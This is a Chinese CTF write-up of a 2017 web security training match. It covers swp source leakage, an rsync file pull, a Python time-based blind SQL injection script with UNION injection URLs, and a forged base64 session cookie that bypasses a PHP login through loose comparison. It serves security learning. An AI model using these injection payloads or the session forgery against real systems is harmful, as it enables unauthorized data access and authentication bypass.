2017秋季賽Web安全測試訓練賽wp【安恆】

阿新 • • 發佈：2019-01-26

0x00編輯器的鍋

看到題目名字就差不多猜到了，swp檔案洩露，http://114.55.36.69:20380/.login.php.swp，下載拿到swp檔案，開啟虛擬機器，啟動kali，利用命令列執行vim -r login.php.swp，修復看到原始碼，很明顯的name和password，輸入，直接getflag

0x01 服務發現

這題awvs沒掃到有啥漏洞，表哥給的提示是rsync漏洞

Nmap掃描了下埠

很明顯在873埠

參考網上對於這種漏洞的利用方法，

Rsync -avz --port=873 118.178.18.181::”source code”/flag.php /root/桌面

搞定flag（靠印象寫的，目錄不確定了，應該沒錯）

0x02 babysql

這個題目，，，很尷尬，首先選的注入點是id，不需要’或”的閉合，直接and可以執行，通過盲注搞定資料庫名和表名，程式碼如下：

__author__ = 'netfish'

# -*-coding:utf-8-*-

 

import requests

import time

 

payloads = '[email protected]_.{}-'  #不區分大小寫的

 

flag = ""

key=0

print("Start")

for i in range(1,12):

    if key == 1:

        break

    for payload in range(30,125):

        starttime = time.time()#記錄當前時間

        headers = {'Host': '114.55.36.69:20680',

'Pragma': 'no-cache',

'Cache-Control': 'no-cache',

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36',

'Upgrade-Insecure-Requests': '1',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',

'Accept-Encoding': 'gzip, deflate',

'Accept-Language': 'zh-CN,zh;q=0.8',

'Connection': 'close'

                   }

        # url = "http://114.55.36.69:20680/index.php?table=&id=3 and case when(ascii(substr(database(),{0},1))={1}) then sleep(7) else sleep(0) end#".format(i,payload)#資料庫

        '''

        [Finally] current database is errorerror

        '''

        #url = "http://114.55.36.69:20680/index.php?table=&id=3 and case when((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0) then sleep(5) else sleep(0) end#"

        '''

        手動測試長度，第一個長度為10,limit 0,1

        [Finally] current table is error_flag

        手動測試長度，第二個長度為10,limit 1,1

        [Finally] current table is error_news

        手動測試不存在第三個表

        '''

        #url = "http://114.55.36.69:20680/index.php?table=&id=3 and case when(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),{0},1))={1}) then sleep(7) else sleep(0) end#".format(i,payload)

 

 

        #url ="http://114.55.36.69:20680/index.php?table=&id=3 and case when((select length(extractvalue(0x3C613E636f6c756d6e5f6e616d653C2F613E,0x2f61)) from information_schema.columns where table_name=extractvalue(0x3C613E6572726f725f666c61673C2F613E,0x2f61) limit 0,1)>10) then sleep(7) else sleep(0) end#"

        '''

        手動測試第一個欄位長度為11

        [Finally] column is column_name

        '''

        url = "http://114.55.36.69:20680/index.php?table=&id=3 and case when(ascii(substr((select (extractvalue(0x3C613E636f6c756d6e5f6e616d653C2F613E,0x2f61)) from information_schema.columns where table_name=extractvalue(0x3C613E6572726f725f666c61673C2F613E,0x2f61) limit 0,1),{0},1))={1}) then sleep(7) else sleep(0) end#".format(i,payload)

 

        res = requests.get(url, headers=headers)

        if time.time() - starttime > 7:

            flag += chr(payload)

            print('\n column is:', flag)

            break

        else:

            if payload == 125:

                key = 1

                break

print('\n[Finally] column table is %s' % flag)

然後很氣的就是*和information_column都被過濾了，，，，很尷尬的繞過過程就不說了，，，蜜汁尷尬

之後就是先實驗了表哥提示的`和報錯注入，，，一直沒有太多發現，不過研究`的時候發現了很多很有意思的事，`的注入（也不知道是不是注入，各種很神奇的發現）比如`#`與`%23`

後來表哥給了個table沒有過濾information_column，利用`可以成功用where的提示，然後就開始了稀裡糊塗的嘗試

http://114.55.36.69:20680/index.php?table=news`%23`where%201=1%20and%20sleep(3)%23&id=3

成功執行，本來想著繼續sleep盲注的，後來想到這是有回顯的，可不可以直接select

http://114.55.36.69:20680/index.php?table=news`%23`where%201=2%20union%20(select%201,2,column_name%20from%20information_schema.columns%20where%20table_name=extractvalue(0x3C613E6572726f725f666c61673C2F613E,0x2f61)%20limit%200,1)%20%23&id=3

幾個點吧，

第一個是前面where弄成1=2，這樣union聯合查詢只有後面的資料

第二個是select要用1,2，column_name，這裡有個報錯，查了下百度，解釋是union聯合查詢的查詢數量不一樣，按照最早測試的id可以有3個，1,2,3都有回顯，所以確定前面的查詢數量為3，這裡補上1,2，滿足查詢三個

第三個點是error_flag需要繞過，，，，不說了不說了，extractvalue函式

第四個點是因為用了limit，因為逗號的原因，所以加上括號說明下執行順序

，，，搞到欄位名，，，坑啊，猜了好久的表名，怪不得猜不出來了flag_you_will_never_know，剩下的沒啥好說的了，利用表名直接拿欄位，flag出來

0x03 babylogin

想太多想太多，這題的感覺只有這個，思路後來想想還是很清晰的，倒推資料，直接搞定，md5那條路走不通，走的是__session這條路

程式碼如下：

第一部分，倒推程式碼：

<?php

$session=array(

    "uid"=>"1'='1",

    "hash"=>true

);

$data = json_encode($session, JSON_FORCE_OBJECT);

echo $data;

$finally_data = base64_encode($data);

echo $finally_data;

第二部分，原始碼審計：

<?php

include "config.php";

 

header("Content-Type:text/html;charset=utf8");

session_start();

if (!empty($_SESSION)&&$_SESSION["login"]==1) {

        header("Location: admin.php");

        exit();

    }

 

foreach (array('_GET','_POST','_COOKIE') as $key) {

    foreach ($$key as $key2 => $value) {

        $_GPC[$key2]=$value;

    }

}

/*

KEY2 1

$_GPC['']

*/

/*

<?php

$arr = array("one", "two", "three");

foreach ($arr as $key => $value) {

    echo "Key: $key; Value: $value<br />\n";

}

?>

Key: 0; Value: one<br />

Key: 1; Value: two<br />

Key: 2; Value: three<br />

*/

//var_dump($_GPC);exit();

if ($_SERVER["REQUEST_METHOD"]=="GET"){#嘗試使用get方式，未獲取什麼有效資訊，只是直接跳轉首頁

    echo include "outputtpl.php";

}else if($_SERVER["REQUEST_METHOD"]=="POST"){

    

    $userin=addslashes($_POST["name"]);#在每個雙引號（"）前新增反斜槓

    $passin=addslashes($_POST["password"]);

    $session = json_decode(base64_decode($_GPC['__session']), true);#json_decode接受一個 JSON 編碼的字串並且把它轉換為 PHP 變數，變成陣列 ；base64_decode對 base64 編碼的 data 進行解碼；$_GPC 全域性請求變數, 獲取 $_GET, $_POST, $_COOKIES 中的變數

    if (is_array($session)){

        $user = find_user_by_uid($session['uid']);

        if(is_array($user) && $session['hash'] == $user['password']){

            $_SESSION["login"]=1;

            $_SESSION["userin"]=$userin;

            header("Location: admin.php");

            exit();

        }else{

            echo "使用者名稱或密碼錯誤";

        }

    }else{

        $sql = "select password from admin where username='$userin'";

        $row = mysql_fetch_array(mysql_query($sql));

        if($row){

            if($row[$passin]==md5($passin)){

                $_SESSION["login"]=1;

                $_SESSION["userin"]=$userin;

                header("Location: admin.php");

                exit();

            }else{

                echo "使用者名稱或密碼錯誤";

            }

        }else{

            echo "使用者名稱或密碼錯誤";

        }    

    }

}else {

    echo "GET or POST plz!";

}

核心思想：sql注入，true弱口令

2017秋季賽Web安全測試訓練賽wp【安恆】

0x00編輯器的鍋

0x01 服務發現

0x02 babysql

0x03 babylogin

2017秋季賽Web安全測試訓練賽wp【安恆】

11個免費的Web安全測試工具

web安全測試排查

Web安全測試檢查單

web安全測試之 xss攻擊

Web安全測試之跨站請求偽造（CSRF）

Web安全測試之XSS

Web安全測試（文末送電子書）

Web安全測試常用工具

Web安全測試之——XSS漏洞

菜鳥淺談——web安全測試

web安全測試理論知識

WEB安全測試的型別

Web安全測試中常見邏輯漏洞解析（實戰篇）

web安全測試必須注意的五個方面

通過Portwigge的Web安全漏洞訓練平臺，學習SSRF

Python Web開發統一資源定位符【第一天】

【線上筆試題解題報告系列】網易2017校招內推筆試之程式設計題【持續更新】

筆試題：2017.9.10愛奇藝校招程式設計題【平方串】解題思路

ctf/web原始碼洩露及利用辦法【總結中】

2017秋季賽Web安全測試訓練賽wp【安恆】

0x00編輯器的鍋

0x01 服務發現

0x02 babysql

0x03 babylogin

相關推薦